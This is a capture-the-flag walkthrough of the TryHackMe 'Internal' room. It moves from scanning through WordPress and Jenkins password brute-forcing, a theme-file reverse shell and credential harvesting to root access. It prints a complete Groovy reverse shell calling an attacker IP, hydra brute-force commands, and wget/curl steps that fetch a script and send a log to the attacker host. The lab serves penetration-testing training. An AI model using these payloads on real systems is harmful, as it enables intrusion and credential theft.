TryHackMe CTF: Internal (Hard)

URL: https://tryhackme.com/room/internal Hard
PHASE 1: Reconnaissance
Description of the room:
You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.
Scope of Work
The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal > information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked > that you secure two flags (no location provided) as proof of exploitation:
- User.txt
- Root.txt
Additionally, the client has provided the following scope allowances:
- Ensure that you modify your hosts file to reflect internal.thm
- Any tools or techniques are permitted in this engagement
- Locate and note all vulnerabilities found
- Submit the flags discovered to the dashboard
- Only the IP address assigned to your machine is in scope
(Roleplay off)
I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation > assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.
Note - this room can be completed without Metasploit
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sCV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE REASON
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://x.x.x.x
Interesting folders found:
/blog (Status: 301) [Size: 311] [--> http://10.10.180.69/blog/]
/wordpress (Status: 301) [Size: 316] [--> http://10.10.180.69/wordpress/]
/javascript (Status: 301) [Size: 317] [--> http://10.10.180.69/javascript/]
/phpmyadmin (Status: 301) [Size: 317] [--> http://10.10.180.69/phpmyadmin/]
/server-status (Status: 403) [Size: 277]
Also see: gobuster.log
Running: nikto
Ran the following:
nikto -h x.x.x.x
Interesting info found:
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ /wordpress/: Drupal Link header found with value: <http://internal.thm/blog/index.php/wp-json/>; rel="https://api.w.org/". See: https://www.drupal.org/
+ /wordpress/: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /blog/wp-login.php: Wordpress login found.
+ /wordpress/wp-login.php: Wordpress login found.
Also see: nikto.log
Exploration
There are several interesting parts to this. Note that you do need to modify your HOSTS file to point to this website by name. So, run:
sudo nano /etc/hosts
and then add an entry like (using the actual IP address of your target):
10.10.180.69 internal.thm
This makes it so when you reference the name internal.thm
at the command line or in the browser, it will resolve to that IP address.
Anyhow, we have an exposed phpmyadmin instance and a Wordpress instance. I first googled what the default credentials might be for the phpmyadmin, and root:<empty>
and root:password
did not work. We’ll get back to that.
Running wpscan
Since we have a Wordpress site, we can run something like this:
wpscan --url http://internal.thm/blog/ -e vp,u
Where the -e
is for “enumerate” and vp
is for Vulnerable Plugins and u
is for user ID ranges.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.24
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://internal.thm/blog/ [10.10.180.69]
[+] Started: Wed Oct 4 11:41:15 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 3.2
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs -: |===================================================================================================================================|
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Oct 4 11:41:21 2023
[+] Requests Done: 13
[+] Cached Requests: 48
[+] Data Sent: 3.457 KB
[+] Data Received: 9.149 KB
[+] Memory used: 244.301 MB
[+] Elapsed time: 00:00:05
Also see: wpscan.log
We find we have a username of admin
. My first instinct was to run hydra against the web form via:
hydra -I -l "admin" -P /usr/share/wordlists/rockyou.txt \
$TARGET -t 50 http-post-form \
"/blog/wp-login.php:log=admin^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Finternal.thm%2Fblog%2Fwp-admin%2F&testcookie=1:F=login_error"
However, after :15 minutes I got no hits. Actually, I did RE-run this with 50 threads after seeing in the write-up that they used a different technique, and specified 50 threads:
wpscan --url http://internal.thm/blog/ --usernames admin \
--passwords /usr/share/wordlists/rockyou.txt --max-threads 50
This is notable because this apparently uses the xmlrpc.php
, which is a web service - as opposed to /blog/wp-login.php
which is a full-on web page. The web page is going to be significantly slower because it needs to re-render the whole page with each response. In summary:
Technique: | Time: |
---|---|
Hydra against a web form | :15+ minutes (did not finish/did not find) |
WPScan against xmlrpc | :02 minutes, :43 seconds |
Also see: wpscan2.log
PHASE 3: Gaining Access
Now that we have a username (admin
) and password from the wpscan
against RockYou, we can log into the Wordpress site. If you have admin access to a CMS, what is the go-to? Overwrite one of the theme files with a reverse shell, and then execute it. So, from the Wordpress admin, I go into Theme Editor:
And I like to use archive.php
. So, I paste my pre-configured PHP Reverse Shell into the archive.php
theme file. On my workstation, I spin up netcat to listen for the inbound connection:
clear && nc -lvnp 9000
To trigger the Archives page, you can just click on an archived post, like “August 2020”:
And we now have a reverse shell running as www-data
.
Unprivileged Access
We are logged in via a reverse shell that we initiated by overwriting a theme file in Wordpress. In our reverse shell:
- We are
www-data
. - We do not have
sudo
privilege.
Finding group-owned files
One thing that is interesting is we can go see which files we own on the file system. Sometimes that can yield interesting results because it means that this user interacts with those files. I run:
find / -group www-data -type f 2>/dev/null
This will search from /
looking for files (-type f
) that are owned by -group www-data
and the 2>/dev/null
hides any errors. We get back a lot, but take a look at these:
/var/lib/phpmyadmin/blowfish_secret.inc.php
/var/lib/phpmyadmin/config.inc.php
/etc/phpmyadmin/config-db.php
/etc/phpmyadmin/htpasswd.setup
In summary:
/var/lib/phpmyadmin/blowfish_secret.inc.php
has the secret used to encrypt the phpmyadmin secrets./var/lib/phpmyadmin/config.inc.php
is empty./etc/phpmyadmin/config-db.php
has the phpmyadmin database credentials./etc/phpmyadmin/htpasswd.setup
just sets is so theadmin
account has access.
Inspecting Wordpress config
Also just looking around, in /var/www/html/wordpress/wp-config.php
there are the database credentials for the Wordpress site. If you did need to exfiltrate data, you can use these credentials from the command line:
mysql -u wordpress -p
The -p
alone will prompt you for a password. If you are in a primitive/fragile shell, the input/output might be messed up. However, if you run some proper commands, and then type exit
, you will see all of your output. So, from your blank prompt, enter:
show databases;
use wordpress;
show tables;
exit
For this room, we already know there is one user and we have access to the web console, so getting access to the databases isn’t needed.
Exposed credentials in file
From further exploration, we find /opt/wp-save.txt which has credentials in it for user aubreanna
. We can now SSH in as this user. It looks like we don’t have sudo
privilege. You can at least collect your user.txt
flag here.
Jenkins instance
We see a jenkins.txt
that only says:
Internal Jenkins service is running on 172.17.0.2:8080
By default, unless you’ve changed it, Docker uses 172.17.0.0/16
for its’ default network range. So, this host we’re on might be hosting this Jenkins instance? We can run:
netstat -tupln
To see:
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:42355 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 10.10.180.69:68 0.0.0.0:* -
We’re running SOMEthing on port 8080
but it’s bound to the localhost
IP address, so we won’t be able to access it from our workstation. Since we have SSH access though, we could use some SSH port forwarding.
ssh -L local_port:remote_ip:remote_port user@hostname
So, we can map this Jenkins port 8080
to my local machines port 8080
, so that I can access this website with my browser. We can run:
ssh -L 8080:172.17.0.2:8080 aubreanna@$TARGET
NOTE: The
remote_ip
here is what the IP is from the perspective of the machine that we’ve SSH’ed into.flowchart LR K(Kali Workstation\n10.10.10.10) ----> T(Target\n10.10.39.226) T --> D(Docker Container\n172.17.0.2)So we are SSH’ing into the target, and from the target’s perspective, we specify the IP address where we want to port forward, which is the underlying Docker container. {: .prompt-info }
We can now access the Jenkins website from our workstation via: http://127.0.0.1:8080. We are presented with a login screen. Let’s kick off hydra
to see if we can find anything:
hydra -I -l "admin" -P /usr/share/wordlists/rockyou.txt \
127.0.0.1 -s 8080 -t 50 http-post-form \
"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError"
Nice! We find the password for admin
for Jenkins in about :04 minutes.
Also see: hydra-jenkins.log
Reverse shell from Jenkins
Now that we are logged into the Jenkins web UI as admin, there is a “Script Console” where we can run arbitrary commands:
http://127.0.0.1:8080/script
This accepts code written in “Groovy”. How do you do a reverse shell in Groovy? No idea, so I go to:
Choose Groovy from the list, copy that generated code. It’s basically this, cleaned-up, in case you wanted to skim it:
String host = "10.6.90.119";
int port = 9000;
String cmd = "sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
You can paste this in Jenkins while running Netcat locally, listening for a connection:
nc -lvnp 9000
and then click “Run” and we now have a reverse shell from the operating environment where Jenkins is running.
Privilege Escalation
We look around and basically:
- We’re running as the
jenkins
account, UID=1000. - We only belong to the
jenkins
group. - Our home folder is
/var/jenkins_home
. In there is the configuration for this instance.
Let’s dig in to see what we can find.
Running Linpeas
First, let’s get Linpeas on there and running. So, we run a quick web server from my ~/Downloads/
folder where I’ve already downloaded Linpeas with:
# Switch to the downloads folder
cd ~/Downloads/
# Start a web server
python3 -m http.server 8000
Then, over on the Jenkins machine run:
# Switch to the /tmp folder where we will have write access
cd /tmp
# Download the script
wget http://10.10.10.10:8000/linpeas.sh
# Mark it as executable
chmod +x ./linpeas.sh
# Run it and capture the results into a file, where we can read it more easily later
./linpeas.sh 2>&1 > ./linpeas.log
This results in Linpeas running and outputting STDOUT
and STDERR
to the linpeas.log
file, which we’ll pull back to our workstation to read. To do that, when this Jenkins machine does NOT have Netcat installed, let’s listen for the file on our workstation with:
nc -lvnp 8888 > ./linpeas.log
This just takes all of the bytes that it gets on that port, and dumps them to this file. Now on the target Jenkins machine, we can ship this log file to our workstation with Curl:
curl -T ./linpeas.log http://10.10.10.10:8888/
Reviewing the linpeas.log
, the Linux Exploit Suggester lists several CVE’s (all marked as “less probable”):
- CVE-2022-32250 - nft_object UAF (NFT_MSG_NEWSET) (Link)
- CVE-2022-2586 - nft_object UAF (Link)
- CVE-2021-27365 - linux-iscsi (Link)
- CVE-2021-22555 - Netfilter heap out-of-bounds write (Link)
- CVE-2019-15666 - XFRM_UAF (Link)
- CVE-2018-1000001 - RationalLove (Link)
- CVE-2017-1000366,CVE-2017-1000379 - linux_ldso_hwcap_64 (Link)
There were also some container breakouts specified, but reading up on them, they require that we be running root in this container, which we’re not.
Exposure of a file
In the end, in the /opt/
folder there is note.txt file that exposes credentials. You can use those to SSH into the box:
ssh root@$TARGET
One interesting follow-up, not only can we now see the rest of the Wordpress server we started from, we can also see the Jenkins Docker container we were just on too:
docker ps
Which shows:
root@internal:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7b979a7af778 jenkins/jenkins "/sbin/tini -- /usr/…" 3 years ago Up 2 hours 127.0.0.1:8080->8080/tcp, 50000/tcp jenkins
You can get your final flag now from /root/root.txt
.